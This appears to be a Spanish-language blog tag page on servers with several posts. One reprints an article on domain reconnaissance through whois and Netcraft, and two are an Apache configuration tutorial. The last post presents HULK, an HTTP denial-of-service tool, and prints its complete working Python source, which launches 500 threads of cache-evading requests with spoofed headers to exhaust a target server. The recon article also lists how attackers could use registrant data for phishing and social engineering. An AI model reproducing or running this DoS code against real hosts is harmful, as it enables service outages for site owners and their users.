Mostrando entradas con la etiqueta Servidores. Mostrar todas las entradas
Mostrando entradas con la etiqueta Servidores. Mostrar todas las entradas

¿Qué información se puede obtener explorando dominios?



Los dominios de Internet identifican a una red de equipos a través de los servidores DNS (Domain Name Server), que se encargan de resolver un nombre de dominio a una determinada dirección IP -por ejemplo, www.midominio.com a la IP xxx.xxx.xxx.xxx.


Esto hace que acceder a un sitio web sea mucho más amigable al usuario, ya que sería difícil recordar direcciones IP, mientras que recordar nombres y URLs y asociarlos a una entidad o persona resulta más sencillo. En esta entrada veremos qué tipo de información brindan los dominios y cómo podría ser utilizada por un atacante y/o por un investigador.

¿Qué información se puede obtener explorando dominios?


En ocasiones, los dominios de Internet brindan mucha información (muchas veces, más de la cuenta) que a su vez es de gran valor para los cibercriminales. Veamos un ejemplo utilizando el comando whois desde un sistema operativo Linux:





Entre la información que arroja esta herramienta, está el detalle de los servidores DNS que se encargan de resolver las consultas (marcados con el recuadro color rojo superior); seguido de esto, muestra datos como la fecha de expiración y últimas actualizaciones, que vemos en los dos recuadros inferiores.


Siguiendo con el análisis en esta primera consulta, podemos encontrar inclusive datos de contacto, administración, números telefónicos o ubicación, entre otros datos, tal como muestra la siguiente captura:




Como puede observarse, realmente se puede encontrar información muy valiosa, a través de la cual podría por ejemplo iniciarse un ciberataque dirigido por cualquiera de estos medios de comunicación, utilizando Ingeniería Social.


Sin embargo, también puede hacerse uso de algunos sitios en línea para consultar este tipo de información. En este caso usaremos Netcraft, sitio que cuenta con un buscador de dominios similar a whois; basta realizar la consulta sobre el que desee conocerse para que comience a arrojar los primeros resultados.



En primera instancia, mostrará entonces los dominios encontrados, tal como veremos a continuación:





Entre la información mostrada en el recuadro de la columna derecha, puede verse el sistema operativo corriendo, el cual podría ahorrar la etapa de reconocimiento de esta información con algún tipo de escáner como por ejemplo Nmap.

En tanto, en el recuadro situado a su izquierda se brinda información sobre dónde se encuentra alojado el servicio. Como podemos ver aquí, ya hay mucha información disponible que podría ser utilizada para un algún tipo de ciber ataque. Dentro de esta página también se cuenta con la posibilidad de acceder a un reporte donde brinda aún más datos. Veámoslo en la siguiente captura de pantalla:





En la parte superior del reporte puede encontrarse información que tal vez ya fuimos viendo con las herramientas utilizadas previamente, pero si revisamos el recuadro inferior, encontraremos las últimas modificaciones realizadas en los servidores, incluyendo la fecha.


Entonces, empecemos a enumerar la cantidad de información que hasta aquí un cibercriminal podría haber recolectado:



-Dirección física

-Número telefónico del registrante
-Correo electrónico del registrante
-País al que pertenece el dominio
-Servidores DNS
-Fecha de expiración de dicho dominio
-Empresa donde se encuentra albergado el servicio
-Sistemas operativos
-Actualizaciones aplicadas incluyendo sus fechas

¿Cómo podría aprovechar estos datos un cibercriminal?

Si analizamos los puntos anteriormente mencionados, vemos que realmente hay mucha información pública que podría ser explotada por un cibercriminal. Con este tipo de datos, el atacante puede elaborar un ataque dirigido de Ingeniería Social, como también comenzar a buscar exploits públicos para aprovechar algún tipo de vulnerabilidad, en caso de que el sistema no cuente con las últimas actualizaciones instaladas –si así lo indican- sus registros.

Algunos de los ataques que podría realizar el atacante son:

-Explotación de vulnerabilidades mediante correos electrónicos que contengan links maliciosos
-Podría enviar malware especialmente dirigido al registrante del dominio, si tenemos en cuenta las tendencias como Ransomware
-El envío de correos propagando campañas de phishing
-Esta información podría ser utilizada para buscar el perfil de la posible víctima en redes sociales, establecer amistad con algún perfil falso para robo de información, infectar o lo que el atacante requiera

Los puntos anteriormente mencionados son solo algunos ejemplos de cómo podría utilizar esta información un atacante. A través de estos ataques se podría comprometer información sensible, credenciales, archivos, equipos e incluso redes enteras.

Como en este caso utilizamos un dominio perteneciente a la región de Argentina, otra de las alternativas a consultar información es la entidad registrante de dicho país, en este caso NIC. Consultando este dominio llegamos también a información como es el CUIT (Clave Única de 
Identificación Tributaria, que en otros países de Latinoamérica sería el equivalente al RUC o Registro Único del Contribuyente).

Veamos el siguiente ejemplo gráfico:






Como podemos ver, además de cierta información repetida, comenzamos a distinguir algunos detalles que tal vez sean utilizables con fines maliciosos.

¿Y un investigador de seguridad?

Si bien el hecho de que todo esto sea público puede parecer negativo, ya que podría ser utilizado por un ciberdelincuente, es importante remarcar que también podría ser utilizado de forma proactiva por investigadores mientras analizan muestras de malware.

En el supuesto caso de que algún código malicioso realice una conexión a un determinado dominio perteneciente a una entidad o persona real, el cual fuera evidente que fue vulnerado y utilizado para propagar malware. A través de esta información pública se podría reportar que estos dominios están siendo utilizados en actividades maliciosas y tomar las acciones adecuadas al caso.

Desde el Laboratorio de Investigación y Educación de ESET Latinoamérica recomendamos revisar periódicamente de forma proactiva el tipo de información expuesta en Internet. Ya sea utilizando herramientas, sitios web o simples buscadores, se podrá saber qué nivel de exposición tiene un determinado dominio en Internet y cómo lo ve el mundo realmente, de esta forma como investigador de seguridad se podrá prevenir la fuga de información evitando cierto nivel de exposición.

...

Fuente:welivesecurity.com

Conviertete en todo un experto de Apache (II-II)


Si no han leido la primera parte, se las recomentamos, ya que les ayudará a comprender esta otra: http://underc0de.org/foro/seguridad-en-servidores/conviertete-en-todo-un-experto-de-apache-(i-ii)

Continuamos con el fichero /etc/apache2/sites-available

ServerAdmin

Permite configurar la dirección del administrador del servidor web que se mostrará si el servidor genera una página de error.

  1. ServerAdmin blackdrake@underc0de.org

ServerName

Indica el nombre del servidor.

  1. ServerName www.underc0de.org:80

DocumentRoot
Indicamos el directorio raíz donde colocaremos las páginas web.

  1. DocumentRoot "/www/webs"

También es necesario cambiar la directiva Directory (que veremos más adelante)

  1. <Directory "/www/webs">

UserDir
Indica si se debe permitir que cada usuario de nuestro sistema tenga su propia carpeta personal en el servidor web.

  1. UserDir public_html

DirectoryIndex
Especifica la página por defecto que se buscará al acceder a un directorio de la jerarquía de nuestro sitio.

  1. DirectoryIndex index.html, index.htm, index.php, inicio.html

Si accedemos a un directorio que no contiene ninguno de los archivos especificados, Apache crea dinámicamente un archivo que lista los contenidos:


Esto lo podemos deshabilitar con la directiva (Dentro de <Directory>:

  1. Options -Indexes

Por lo que ahora saldrá Forbidden:

Alias
Permite crear alias para archivos o directorios

  1. Alias /icons/ "/var/www/icons/"
  2. <Directory "/var/www/icons"/>
  3. Options Indexes MultiViews
  4. AllowOverride None
  5. Order allow, deny
  6. Allow from all
  7. </Directory>
  8.  

Activando/Desactivando módulos en Apache2

Para activar un módulo usamos el comando a2enmod con el nombre del módulo:

  1. sudo a2enmod speling

Automáticamente nos informa de lo que está sucediendo:

  1. Enabling module speling.
  2. To activate the new configuration, you need to run:
  3. service apache2 restart

Para desactivarlo lo haremos igual pero con el comando a2dismod

  1. sudo a2dismod speling

Hosts Virtuales en Apache2

Apache puede servir varios sitios web desde un único servidor web. El cliente nunca diferenciará si son sitios en servidores diferentes o en la misma máquina.

La configuración del servidor virtual por defecto se puede consultar aquí:

  1. sudo nano /etc/apache2/sites-available/default

(En estas últimas versiones de apache puede ser que el archivo se llame 000-default.)


Como comenté antes, podemos desactivar el listado de los contenidos de una carpeta con la siguiente linea:

  1. Options -Indexes

Si queremos activarlo, utilizamos:

  1. Options Indexes

Accedemos a /etc/apache2/sites-available y creamos un nuevo archivo (se recomienda que tenga el nombre del dominio + .conf)

  1. <VirtualHost *:80>
  2.  
  3.         ServerAdmin blackdrake@underc0de.org
  4.  
  5.         ServerName  www.underc0de.org
  6.  
  7.         ServerAlias underc0de.org www.underc0de.org
  8.  
  9.         # Indexes + Directory Root.
  10.  
  11.         DirectoryIndex index.php
  12.  
  13.         DocumentRoot /var/www/underc0de
  14.  
  15. </VirtualHost>

Guardamos... y ejecutamos lo siguiente:

  1. sudo a2ensite underc0de.org.conf

Reiniciamos apache

  1. sudo /etc/init.d/apache2 reload

O bien podemos usar:

  1. sudo service apache2 restart

Y ya tendremos nuestro dominio funcionando y apuntando a ese directorio (obviamente las DNS del servidor tienen que estar correctamente configuradas), el directorio al que apunta (/var/www/underc0de) se puede crear antes o después.

En caso de querer desactivar el dominio..

  1. sudo a2dissite acceso.ovh

Y reiniciamos apache

  1. sudo /etc/init.d/apache2 reload

O bien podemos usar:

  1. sudo service apache2 restart

Conviertete en todo un experto de Apache (I-II)


Empezaremos desde el principio, ¿qué es apache? Apache es un servidor web HTTP de código abierto, pueden descargarlo e instalarlo de la siguiente manera:

sudo apt-get install apache2

Algunos comandos de interés:
apache2 -v Mostrará la información de versión, módulos y modo de funcionamiento.

apache2 -l Nos mostrará los módulos instalados.

Diferentes archivos de configuración en apache:

apache2.conf

Es el fichero de configuración global, y se encuentra en /etc/apache2/apache2.conf. Incluye las directivas principales del servidor, además, al final del archivo y mediante las órdenes include se le indica al servidor que debe cargar otros archivos de configuración.

ports.conf

En este fichero se establecen las direcciones IP y los puertos que va a usar el servidor. Por defecto se escucha el puerto 80, y en caso de que activemos el protocolo SSL, usaríamos el 443.

ennvars

Se utiliza para configurar las variables de entorno del servidor.

httpd.conf

Es el fichero de configuración principal, ya que se recomienda que el administrador del servidor introduzca en él las configuraciones adicionales en lugar de incluirlas enapache2.conf.

/etc/apache2/conf.d/

En este directorio se incluyen configuraciones adicionales y algunas aplicaciones web ubican aquí sus archivos de configuración.

Ahora que ya sabemos para que se utiliza cada archivo de configuración, podemos ponernos a configurar el archivo apache2.conf

ServerRoot
Indica el directorio raíz de la instalación de Apache. No se refiere al directorio donde colocaremos las páginas web. Solo deberemos modificar esto si movemos el servidor a otra ubicación.

  1. ServerRoot "/www"

Timeout
Son los segundos que esperan las respuestas durante la comunicación.

  1. Timeout 300

KeepAlive, MaxKeppAliveRequests y KeepAliveTimeout

Determina si el servidor va a permitir que cada conexión haga más de una petición. El problema de activarlo es que un único cliente puede consumir demasiados recursos y saturar el servidor.

Activamos o desactivamos KeepAlive.

  1. KeepAlive off/on

Determina el número de peticiones que podrá realizar cada conexión.

  1. MaxKeepAliveRequests 100

Determina el tiempo que el servidor esperará antes de atender una nueva petición del mismo cliente.

  1. KeepAliveTimeout 15


StartServers, MaxClientes y MaxRequestsPerChild

Apache crea y destruye servidores automáticamente según el tráfico que tenga que atender en cada momento.

Establecemos los servidores que se creearán al arrancar.

  1. StartServers 5

Establece el número máximo de clientes que podrá atender Apache a la vez

  1. MaxClients 150

Establece cuantas peticiones podrá atender cada cliente.

  1. MaxRequestsPerChild 30

Port
Nos permite cambiar el puerto en el que el servidor espera las peticiones estándar.
  1. Port 7000

Listen
Indica al servidor en que dirección y puerto debe escuchar las peticiones http.

  1. Listen 80

User y Group

Estas dos directivas indican con qué usuario y grupo se lanzarán los procesos hijos que genere apache. Estos procesos no deben lanzarse con el usuario root por razones de seguridad.

En linux, por defecto el usuario nobody y el grupo nogroup tienen muy pocos privilegios.

Si queremos usar el número del grupo o del usuario en lugar del nombre debemos añadir # justo antes del número.

  1. User nobody
  2. Grupo #-1

AccessFileName
Indica el nombre del archivo en el que se deben buscar las directivas de acceso determinadas en cada directorio. Por defecto es .htaccess y no se recomienda cambiarlo.

  1. AccessFileName .htaccess

DefaultType
Establece el tipo MIME para todos aquelos archivos a los que no se les pueda asignar uno mediante su extensión.

  1. DefaultType /text/plain

Podemos especificar más:

  1. DefaultType /text/html

HostnameLookups
indica al servidor si se debe hacer una consulta DNS para cada petición.

  1. HostnameLookups off

ErrorLog
Es una directiva muy importante, ya que indica dónde ubuicar el archivo de registro de los errores que se produzcan en el servidor. El lugar por defecto es %ServerRoot%/logs/error_log.

  1. ErrorLog logs/error_log

LogLevel
Establece cuánta información se guardará en el archivo de errores. Los valores posibles incluyen: debug, info, notice, warn, error, crit, alert, emerg.

  1. LogLevel warn

Hulk, herramientas para probar stress en servidores


La mayoría de las herramientas DoS comparten un problema... crean patrones repetibles, demasiado fáciles de predecir y, por lo tanto, permiten mitigar sus efectos.

HULK (Http Unbearable Load King) es una sencilla herramienta DoS escrita en Python cuyo principal objetivo es generar peticiones únicas para evitar/evadir motores de caché e incidir directamente en la carga del servidor. Las principales técnicas que utiliza son las siguientes:

- Ofuscación del origen: cada petición del cliente se envía con un agente de usuario distinto seleccionado aleatoriamente de una lista.

- Falsificación de referencias: el referer que incluye la petición está ofuscado y apunta hacia el mismo servidor objetivo u otros sitios web conocidos.

- Adhesión: utiliza comandos estándar HTTP para tratar de hacer que el servidor mantenga las conexiones abiertas mediante el uso de Keep-Alive con una ventana de tiempo variable.

- no-cache: se solicita al servidor HTTP no-cache para obtener una página única.

- Transformación de URL única: para evitar la caché y otras herramientas de optimización, se utilizan nombres de parámetros y valores aleatoriamente en cada petición, lo que hace que cada petición sea única y que el servidor tenga que procesarla en cada caso.

Resultados

El autor Barry Shteiman comenta que ha realizado pruebas contra un servidor web con 4GB de RAM y Microsoft IIS7 y fue capaz de tirarlo en menos de un minuto, lanzando todas las peticiones desde un único host.

En las siguientes imágenes se puede ver la herramienta en acción donde, en la primera (#1), se ejecuta contra una URL y a continuación comienza a generar una carga de solicitudes únicas y las envía hacia el servidor objetivo (host de la URL) y, en segundo lugar (#2), podemos ver que el servidor en algún momento empieza a dejar de responder ya que ha agotado su fondo de recursos.






nota: el parámetro opcional "safe" significa matar el proceso cuando los hilos consigan un error 500.

Código: Python
  1. # ----------------------------------------------------------------------------------------------
  2. # HULK - HTTP Unbearable Load King
  3. #
  4. # this tool is a dos tool that is meant to put heavy load on HTTP servers in order to bring them
  5. # to their knees by exhausting the resource pool, its is meant for research purposes only
  6. # and any malicious usage of this tool is prohibited.
  7. #
  8. # author :  Barry Shteiman , version 1.0
  9. # ----------------------------------------------------------------------------------------------
  10. import urllib2
  11. import sys
  12. import threading
  13. import random
  14. import re
  15.  
  16. #global params
  17. url=''
  18. host=''
  19. headers_useragents=[]
  20. headers_referers=[]
  21. request_counter=0
  22. flag=0
  23. safe=0
  24.  
  25. def inc_counter():
  26.     global request_counter
  27.     request_counter+=1
  28.  
  29. def set_flag(val):
  30.     global flag
  31.     flag=val
  32.  
  33. def set_safe():
  34.     global safe
  35.     safe=1
  36.    
  37. # generates a user agent array
  38. def useragent_list():
  39.     global headers_useragents
  40.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  41.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  42.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  43.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  44.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  45.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  46.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  47.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  48.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
  49.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  50.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
  51.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  52.     return(headers_useragents)
  53.  
  54. # generates a referer array
  55. def referer_list():
  56.     global headers_referers
  57.     headers_referers.append('http://www.google.com/?q=')
  58.     headers_referers.append('http://www.usatoday.com/search/results?q=')
  59.     headers_referers.append('http://engadget.search.aol.com/search?q=')
  60.     headers_referers.append('http://' + host + '/')
  61.     return(headers_referers)
  62.    
  63. #builds random ascii string
  64. def buildblock(size):
  65.     out_str = ''
  66.     for i in range(0, size):
  67.         a = random.randint(65, 90)
  68.         out_str += chr(a)
  69.     return(out_str)
  70.  
  71. def usage():
  72.     print '---------------------------------------------------'
  73.     print 'USAGE: python hulk.py '
  74.     print 'you can add "safe" after url, to autoshut after dos'
  75.     print '---------------------------------------------------'
  76.  
  77.    
  78. #http request
  79. def httpcall(url):
  80.     useragent_list()
  81.     referer_list()
  82.     code=0
  83.     if url.count("?")>0:
  84.         param_joiner="&"
  85.     else:
  86.         param_joiner="?"
  87.     request = urllib2.Request(url + param_joiner + buildblock(random.randint(3,10)) + '=' + buildblock(random.randint(3,10)))
  88.     request.add_header('User-Agent', random.choice(headers_useragents))
  89.     request.add_header('Cache-Control', 'no-cache')
  90.     request.add_header('Accept-Charset', 'ISO-8859-1,utf-8;q=0.7,*;q=0.7')
  91.     request.add_header('Referer', random.choice(headers_referers) + buildblock(random.randint(5,10)))
  92.     request.add_header('Keep-Alive', random.randint(110,120))
  93.     request.add_header('Connection', 'keep-alive')
  94.     request.add_header('Host',host)
  95.     try:
  96.             urllib2.urlopen(request)
  97.     except urllib2.HTTPError, e:
  98.             #print e.code
  99.             set_flag(1)
  100.             print 'Response Code 500'
  101.             code=500
  102.     except urllib2.URLError, e:
  103.             #print e.reason
  104.             sys.exit()
  105.     else:
  106.             inc_counter()
  107.             urllib2.urlopen(request)
  108.     return(code)        
  109.  
  110.    
  111. #http caller thread
  112. class HTTPThread(threading.Thread):
  113.     def run(self):
  114.         try:
  115.             while flag<2:
  116.                 code=httpcall(url)
  117.                 if (code==500) & (safe==1):
  118.                     set_flag(2)
  119.         except Exception, ex:
  120.             pass
  121.  
  122. # monitors http threads and counts requests
  123. class MonitorThread(threading.Thread):
  124.     def run(self):
  125.         previous=request_counter
  126.         while flag==0:
  127.             if (previous+100request_counter):
  128.                 print "%d Requests Sent" % (request_counter)
  129.                 previous=request_counter
  130.         if flag==2:
  131.             print "\n-- HULK Attack Finished --"
  132.  
  133. #execute
  134. if len(sys.argv) < 2:
  135.     usage()
  136.     sys.exit()
  137. else:
  138.     if sys.argv[1]=="help":
  139.         usage()
  140.         sys.exit()
  141.     else:
  142.         print "-- HULK Attack Started --"
  143.         if len(sys.argv)== 3:
  144.             if sys.argv[2]=="safe":
  145.                 set_safe()
  146.         url = sys.argv[1]
  147.         if url.count("/")==2:
  148.             url = url + "/"
  149.         m = re.search('http\://([^/]*)/?.*', url)
  150.         host = m.group(1)
  151.         for i in range(500):
  152.             t = HTTPThread()
  153.             t.start()
  154.         t = MonitorThread()
  155.         t.start()

Esta herramienta está pensada para propósitos educativos solamente y no debe ser utilizada para ninguna actividad maliciosa.

Fuentes:
 http://www.sectorix.com/2012/05/17/hulk-web-server-dos-tool/
 http://www.hackplayers.com/2012/05/hulk-una-herramienta-dos-para.html